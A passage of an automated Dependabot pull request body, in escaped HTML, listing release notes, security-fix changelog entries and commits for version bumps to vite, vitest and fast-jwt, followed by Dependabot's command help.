href=\"https://github.com/vitejs/vite/blob/v5.4.16/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.15\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.15/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.21 (2025-10-20)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20970\"\u003e#20970\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/cad1d31d0635dd8fd4ddfe6e5a92eb9ff13cd06c\"\u003ecad1d31\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20968\"\u003e#20968\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20970\"\u003e#20970\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update CHANGELOG (\u003ca href=\"https://github.com/vitejs/vite/commit/ca88ed7398288ce0c60176ac9a6392f10654c67c\"\u003eca88ed7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.20 (2025-09-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea\"\u003e482000f\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20736\"\u003e#20736\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: port sirv@3.0.2 changes to sirv@2.0.4 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20737\"\u003e#20737\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/4f1c35bcbb5830290c694aa14b6789e07450f069\"\u003e4f1c35b\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20737\"\u003e#20737\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.19 (2025-04-30)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e, check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19966\"\u003e#19966\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/766947e7cbf1cdd07df9737394e8c870401b78b0\"\u003e766947e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19965\"\u003e#19965\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19966\"\u003e#19966\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.18 (2025-04-10)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19830\"\u003e#19830\u003c/a\u003e, reject requests with \u003ccode\u003e#\u003c/code\u003e in request-target (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19831\"\u003e#19831\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/823675baff2bd6809c74ba2d9acca0327923a54f\"\u003e823675b\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19830\"\u003e#19830\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19831\"\u003e#19831\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.17 (2025-04-03)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19782\"\u003e#19782\u003c/a\u003e, fs check with svg and relative paths (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19784\"\u003e#19784\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/84b2b46ed129be8215108e789a90adbb33a9c42c\"\u003e84b2b46\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19782\"\u003e#19782\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19784\"\u003e#19784\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.16 (2025-03-31)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19761\"\u003e#19761\u003c/a\u003e, fs check in transform middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19762\"\u003e#19762\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b627c50d359f3bd9b602408fbbf462cf4a2f019c\"\u003eb627c50\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19761\"\u003e#19761\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19762\"\u003e#19762\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e5.4.15 (2025-03-24)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19702\"\u003e#19702\u003c/a\u003e, fs raw query with query separators (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19703\"\u003e#19703\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41\"\u003e807d7f0\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19702\"\u003e#19702\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19703\"\u003e#19703\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/adce3c22c64cc9d44cc8f45cc92b543e3e4bf385\"\u003e\u003ccode\u003eadce3c2\u003c/code\u003e\u003c/a\u003e release: v5.4.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/cad1d31d0635dd8fd4ddfe6e5a92eb9ff13cd06c\"\u003e\u003ccode\u003ecad1d31\u003c/code\u003e\u003c/a\u003e fix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20970\"\u003e#20970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca88ed7398288ce0c60176ac9a6392f10654c67c\"\u003e\u003ccode\u003eca88ed7\u003c/code\u003e\u003c/a\u003e chore: update CHANGELOG\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/997700f01c7199daf7330d33a7fd3a43b2e9e3ba\"\u003e\u003ccode\u003e997700f\u003c/code\u003e\u003c/a\u003e release: v5.4.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea\"\u003e\u003ccode\u003e482000f\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/80a333a23103ced0442d4463d1191433d90f5e19\"\u003e\u003ccode\u003e80a333a\u003c/code\u003e\u003c/a\u003e release: v5.4.19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/766947e7cbf1cdd07df9737394e8c870401b78b0\"\u003e\u003ccode\u003e766947e\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e, check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19966\"\u003e#19966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/731b77d19d36f5682a5441b49cb2f6473389ad99\"\u003e\u003ccode\u003e731b77d\u003c/code\u003e\u003c/a\u003e release: v5.4.18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/823675baff2bd6809c74ba2d9acca0327923a54f\"\u003e\u003ccode\u003e823675b\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19830\"\u003e#19830\u003c/a\u003e, reject requests with \u003ccode\u003e#\u003c/code\u003e in request-target (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19831\"\u003e#19831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/0a2518a98d2354c61ee8ef51f7d00fa92aebb511\"\u003e\u003ccode\u003e0a2518a\u003c/code\u003e\u003c/a\u003e release: v5.4.17\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v5.4.21/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 2.1.8 to 2.1.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.9\u003c/h2\u003e\n\u003cp\u003eThis release includes security patches for:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-8gvc-j273-4wm5\"\u003eBrowser mode serves arbitrary files | CVE-2025-24963\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq\"\u003eRemote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ebackport \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/7317\"\u003evitest-dev/vitest#7317\u003c/a\u003e to v2 - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7318\"\u003evitest-dev/vitest#7318\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e(backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7340\"\u003e#7340\u003c/a\u003e to v2) restrict served files from \u003ccode\u003e/__screenshot-error\u003c/code\u003e - by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/pull/7343\"\u003evitest-dev/vitest#7343\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c9e59a089d94642eea29a43f2ee1986a5afb99c6\"\u003e\u003ccode\u003ec9e59a0\u003c/code\u003e\u003c/a\u003e chore: release v2.1.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383\"\u003e\u003ccode\u003ee0fe1d8\u003c/code\u003e\u003c/a\u003e fix: backport \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7317\"\u003e#7317\u003c/a\u003e to v2 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/7318\"\u003e#7318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v2.1.9/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 5.0.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.6\u003c/h2\u003e\n\u003ch2\u003eSECURITY RELEASE\u003c/h2\u003e\n\u003cp\u003eThis release contains a fix for \u003ca href=\"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\"\u003ehttps://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eUpgrading is strongly recommended.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tibrn\"\u003e\u003ccode\u003e@​tibrn\u003c/code\u003e\u003c/a\u003e for reporting, and \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e for fixing it.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.5 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/540\"\u003enearform/fast-jwt#540\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix node 23 by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/541\"\u003enearform/fast-jwt#541\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps): bump mnemonist from 0.39.8 to 0.40.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/544\"\u003enearform/fast-jwt#544\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: add type for cacheKeyBuilder by \u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitata benchmark by \u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix benchmarks with regards to jsonwebtoken performance by \u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aheckmann\"\u003e\u003ccode\u003e@​aheckmann\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/546\"\u003enearform/fast-jwt#546\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/andolivieri-nf\"\u003e\u003ccode\u003e@​andolivieri-nf\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/548\"\u003enearform/fast-jwt#548\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Gobd\"\u003e\u003ccode\u003e@​Gobd\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/535\"\u003enearform/fast-jwt#535\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.5...v5.0.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/525\"\u003enearform/fast-jwt#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: upgrade deps by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/526\"\u003enearform/fast-jwt#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChore/types definition by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/527\"\u003enearform/fast-jwt#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fake timer by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/528\"\u003enearform/fast-jwt#528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFeat/generic signer verifier by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/529\"\u003enearform/fast-jwt#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.3 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/530\"\u003enearform/fast-jwt#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eupdate nearform banner link by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/533\"\u003enearform/fast-jwt#533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump eslint-config-prettier from 9.1.0 to 10.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/538\"\u003enearform/fast-jwt#538\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.4 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/539\"\u003enearform/fast-jwt#539\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.2...v5.0.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/523\"\u003enearform/fast-jwt#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(types): Add missing input type for DecodedJwt and Updated input field to return decoded 'input' by \u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msgadi\"\u003e\u003ccode\u003e@​msgadi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/524\"\u003enearform/fast-jwt#524\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.1...v5.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.1\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0dbaa53023ba641b9ed6a1b93c82170381ad0f93\"\u003e\u003ccode\u003e0dbaa53\u003c/code\u003e\u003c/a\u003e Release v5.0.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd\"\u003e\u003ccode\u003ecc26b1d\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/d2b0ccb103848917848390f96f06acee339a7a19\"\u003e\u003ccode\u003ed2b0ccb\u003c/code\u003e\u003c/a\u003e chore: update optic action to use the correct version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/79208cace7b5453fd1e4e96a84434d94f4d00ae1\"\u003e\u003ccode\u003e79208ca\u003c/code\u003e\u003c/a\u003e Fix benchmarks with regards to jsonwebtoken performance (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/535\"\u003e#535\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ce5b923c3dc3cd671549b59bf97f5d2113921287\"\u003e\u003ccode\u003ece5b923\u003c/code\u003e\u003c/a\u003e Port benchmarks to mitata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ffc1b8c93d50e92c5fa956b737565adaf48fb8c3\"\u003e\u003ccode\u003effc1b8c\u003c/code\u003e\u003c/a\u003e chore: add type for cacheKeyBuilder (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/546\"\u003e#546\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cd12d284c0de1202eade1d001b49ba07dd7ab26b\"\u003e\u003ccode\u003ecd12d28\u003c/code\u003e\u003c/a\u003e chore(deps): bump mnemonist from 0.39.8 to 0.40.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/544\"\u003e#544\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/bbc25ecc4e0dc8b1956441c470d928a2700770c5\"\u003e\u003ccode\u003ebbc25ec\u003c/code\u003e\u003c/a\u003e chore: fix node 23 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/541\"\u003e#541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f14de38c3e9b7a27459d556dab60cb34e5c0dfd2\"\u003e\u003ccode\u003ef14de38\u003c/code\u003e\u003c/a\u003e Release v5.0.5 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/540\"\u003e#540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/354c4c1d9e186dec6c8d2b80b258612f7e09cf3b\"\u003e\u003ccode\u003e354c4c1\u003c/code\u003e\u003c/a\u003e Release v5.0.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/539\"\u003e#539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v5.0.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\nYou can disable automated 